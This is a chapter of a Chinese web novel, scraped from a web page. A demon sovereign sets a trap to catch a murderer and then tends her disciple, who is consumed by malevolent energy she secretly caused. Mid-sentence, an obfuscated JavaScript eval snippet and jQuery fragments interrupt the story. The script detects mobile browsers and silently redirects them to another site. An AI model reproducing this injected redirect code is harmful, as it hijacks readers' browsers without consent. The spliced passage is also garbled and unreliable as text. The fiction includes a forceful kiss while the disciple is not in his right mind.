24. 煞气

作品:《女魔头又在教天道做人

    “白造被夺的清气怕是不在地界,而在上界,再查下去估计也无济于事。”


    百厌转过身,背靠着窗户,红月在她周身镀上一层模糊的光晕。


    早前日子,仙族派人到魔仰宫查探,如今以赴宴之名来到地界,在看到她的容貌后,当晚就发生命案,第二日上千仙兵压境,这一切未免来得太快,太过巧合。


    上界怕不是早就盯上她了。


    看来提前把简泽安置在盘古洞历练,这个举措还真是做对了。


    乌卒卒和冷靖安静地看着她,等待下文。


    沉思一会,百厌抬头,当下也有了策略,“那我们就不查了。”


    冷靖没想到等了这么久,等出这么一个答案,愣了一下,“不查了?那我们怎么找出凶手呀?”


    “谁说找出凶手,就要埋头去查了。”


    百厌悠悠然地说道,“没有线索,就造一条线索出来,找不到凶手,就逼他自己走出来。”


    乌卒卒意会,语气有些做坏事的雀跃,“姐姐的意思是……设局?”


    “嗯。”百厌点头,眼神变得深不可测,嘴角带着算计的笑意,不紧不慢地说道,“听闻上古有一种禁术,叫溯魂追源,只要集齐归一花、死者的同源气息以及生前最牵挂之人的血肉,便能在三界之内追踪到死者的魂之所归。”


    “溯魂追源?那不是传说中能追溯魂魄本源、连转世都能找出来的禁术吗?”冷靖有些兴奋,眼睛亮了起来,“魔主,你真的会吗?”


    “会不会,重要吗?”百厌眨了眨眼睛,打哑谜般笑道,“重要的是,有人信就行。”


    冷靖挠挠头,脑子没绕过来。


    “白造和白池乃并蒂莲花所化,其清气同根同源,白池那缕清气正好可用。”乌卒卒琢磨了一下,脸上忽而浮出了一丝担忧,“清气和血肉皆可取之白池,但是归一花在盘古洞深处,姐姐你……”


    盘古洞深处万兽蛰伏,凶险无比,可是比简泽那处小木屋更加危险的存在,稍有不慎便会死无全尸。


    “无妨,为了逼真,我自然还是得去一趟盘古洞。”


    百厌不以为然,继续吩咐道,“你明日一早便把这个消息散布出去,听到这个消息,必定有人会沉不住气。”


    “引蛇出洞!?”冷靖这才意会。


    想到了白池的安全,百厌怕有人狗急跳墙,把白池杀了一了百了,那个娇滴滴的仙子说起来也是无辜。


    她走到案前,找了支空白的玉简,指尖离火一闪,在上面刻了几个字,脸上有些矛盾,眼中闪过纠结,最后还是递给了乌卒卒。


    “你亲自去挑一队最精锐的影卫,从今夜起,十二个时辰暗中护卫白池,除非她真有性命之危,否则绝不可现身,免得传出去,我们魔族还保护一个仙族,这成何体统。”


    乌卒卒接过应是,“白池这边,我也会派人严加看守,确保她的安全,姐姐,你去盘古洞也要千万小心。”


    “嗯,没事的。”百厌想了想,又再说道,“消息放出去后,也暗中观察这几个仙族的反应,上界派他们来,肯定有所图。”


    “那子善仙君呢?”乌卒卒问道,“他是否也要严加看管?”


    谈起这个人,百厌就有些头疼,如果简泽在的话,两个人对上的场景估计很有趣,可惜……


    她眼中闪过几分复杂的神色,“他呀,暂时不必盯得太紧,盯也盯不出什么了然来,倒不如,给他留点自由活动的空间。”


    乌卒卒点头领命。


    冷靖瞧着百厌将事情安排完毕,但自己似乎却闲得要命,他指了指自己,好奇问道,“那我呢?我要做什么。”


    他也想为兄长,为魔仰宫,为地界尽一分力,不是干靠鼻子到处闻味道这种琐碎活,而是那种能够一鸣惊人,能够在他哥面前耍威风那种大事件。


    “嗯……”百厌见他如此积极,免得打击他自信心,只好给他派了个活,“你明日也去宣微微那儿一趟,给我带句话。”


    “什么话?”冷靖的眼神期待地闪烁着,跃跃欲试。


    “告诉她,”百厌意味深长地说道,“从明日开始,北境所有关隘,要地,守卫增加三倍,日夜轮值,尤其是客院附近,都要严防死守,就算有只蚊子飞进去,也要知道是公是母。”


    冷靖还是孩子心性,看到百厌如此交代,郑重地点点头,“保证完成任务!”


    这潭水既然已经浑了,不如让它更浑一些。


    水浑了,藏在底下的鱼,才会冒头换气,想摸鱼的人,才好下手。


    百厌倒想看看,上界那些仙族即便知道她是谁,又奈她如何。


    ***


    盘古洞。


    洞内一如既往的天光昏暗,沉沉地压在小木屋之上。


    百厌在小木屋落脚时,察觉到周遭太过于静谧后,脚步一顿。


    屋内传来的那道气息,微弱,乱糟糟。


    她的心倏地沉了下去,升腾起不妙的预感,脚步不自觉加快。


    推开门时,简泽盘腿坐在床上,背脊僵硬地挺直。


    而脸上血色尽褪,苍白如纸,额角布满着细密的冷汗,双目紧闭,似乎在承受酷刑一般,知觉全无,压根察觉不到百厌的到来。


    他的周身缠绕着肉眼难以察觉的灰黑色气息。


    是煞气。


    百厌心中了然,她背着光站在门口,眼中复杂地看了他许久。


    “这一天……”她轻声开口,声音低得只有自己能听见,“终归是要来的。”


    似在解释,也似在劝服自己。


    她早就在简泽修炼的心法之中,混入魔道的心法。


    在盘古洞这个煞气冲天的温床里面,无疑是助力他修炼魔道最佳的地方。


    进展会极快,代价……也会极大。


    这不能怪她。


    要怪的话,便怪天道不公吧。


    总有一天,你会明白我的。


    百厌叹了一口气,走到床边,从桌上取过一只粗陶碗,碗底还剩着半碗清澈的冷水。她俯身,指尖蘸了点水,轻轻润在他干裂的唇上。


    简泽像一个冰冷的玉雕一样,毫无动静,她的眼底有几分愧疚,又无奈。


    目光扫过光秃秃的床板,还是如同上次一样,连张最单薄的被褥都没有。


    平时在魔仰宫一点苦都不肯吃,啥都要最好的,最上乘的,如今在盘古洞倒愿意把没用的苦都吃了。


    “你这个人怎么回事?”她低声嘀咕,“还真是日夜修炼,废寝忘食不成?”


    低头瞧见他腰间的乾坤袋,百厌明明在里面备了那么多东西,他居然暴殄天物。


    伸手就要去解,刚一碰触到乾坤袋。


    一只冰冷的大手猛地攥住了她的手腕。


    力道之大,几乎要捏碎她的骨头。


    百厌一惊,抬头一看,简泽分明还没有醒来,额间仍旧冷汗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241599|197762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涔涔。


    这警觉性也忒高了……


    她忍着痛,任由他攥着,另一只手覆上他紧握的手背,轻轻地拍着。


    “是我。”她声音放缓,难得温柔。


    听到熟悉的嗓音,对方的手掌微乎其微地松了一点,呼吸似乎顿了一下。


    百厌又耐心等了会,那只冰冷的手才慢慢松开力道,但整个人仍然陷在了与煞气的抗衡之中,昏睡不醒。


    她揉了揉被他攥得生疼的手腕,这才取下乾坤袋。


    神识一扫,果然在最角落找到了一套叠得整整齐齐、却明显从未动用过的被褥。


    包括那些丹药,似乎也不怎么用过。


    倒是千年火木用了不少。


    也算是一件好事吧。


    百厌利落地抖开被褥,铺在硬邦邦的床板上,然后扶着他的肩膀,让他慢慢躺平,调整成一个相对舒服的姿势,又扯过被子给他盖好。


    做完这些,她直起身,想出去透口气,顺便看看周围环境。


    刚转身,衣服又被扯住了。


    低头,是他无意识伸出的手,抓住了她红衣的一角,那力度带着诡异的执着。


    百厌看着简泽不肯舒展的眉眼,心头有一股烦躁。


    半晌,她轻轻“啧”了一声,妥协了。


    真的一点都不省心。


    她索性脱了外靴,掀开被子的另一角,在他身边躺了下来,盯着他倔强的样子,看了会,困意慢慢涌了上来。


    近日烦心事也多,脑子也不曾停歇,百厌难得有个轻松时刻,不知不觉,也睡了过去。


    再醒来时,是百厌感到呼吸难受,似乎有一个庞然大物沉甸甸压在自己的身上。


    她迷蒙地睁开眼,视线还有些模糊,只看到一张近得几乎贴在她脸上的脸。


    那眼神灼热,一片翻滚,带着兽性的侵略。


    是煞气侵蚀心神后,最原始的本能。


    百厌还没来得及完全清醒,带着血腥味的唇瓣就重重地压了下来。


    撕咬着,掠夺着,就像失控的野兽在标记自己的领地,蛮横地开拓,鼻尖上还能感受到他皮肤的冰冷,但嘴巴里充斥他清冽的气息,所有的感官瞬间被侵占得体无完肤。


    她下意识地推开他,可对方却以更重的力度回馈给她。


    嘴里的铁锈味不断弥散,百厌艰难地将手伸到他的背后,想要将他弄晕,却在触碰到他紧绷的脊背时顿住了。


    算了,他也吃了不少苦。


    再打晕他,有点不人道。


    百厌反手变出那缕清气,轻轻点在他的太阳穴。


    清气入体,焦灼慢慢恢复平静。


    身上那人猛地一僵,唇上的力度也轻了不少。


    “简泽。”百厌轻轻唤他,“是我。”


    他的眼中翻滚的暗沉逐渐褪去,那双向来沉静的眸子,看清身下的人后掠过一丝迷茫,而后眼睛微微眯起,带着赌气般的不管不顾继续压了下去。


    唇齿交缠间,比起刚才猛烈的撕咬,这一次更像横冲直撞的惩罚,毫无章法。


    百厌感受着唇上传来细微的刺痛,和那不容拒绝的、霸道的气息,隐隐约约地感到了他的生气。


    她本就理亏,当下也懒得与理智尚未回归的他计较了,闭上眼,连最后一点抵抗的念头都消散了,就像条咸鱼一样任他鱼肉。


    爱亲就亲吧。


    反正也少不了一块肉。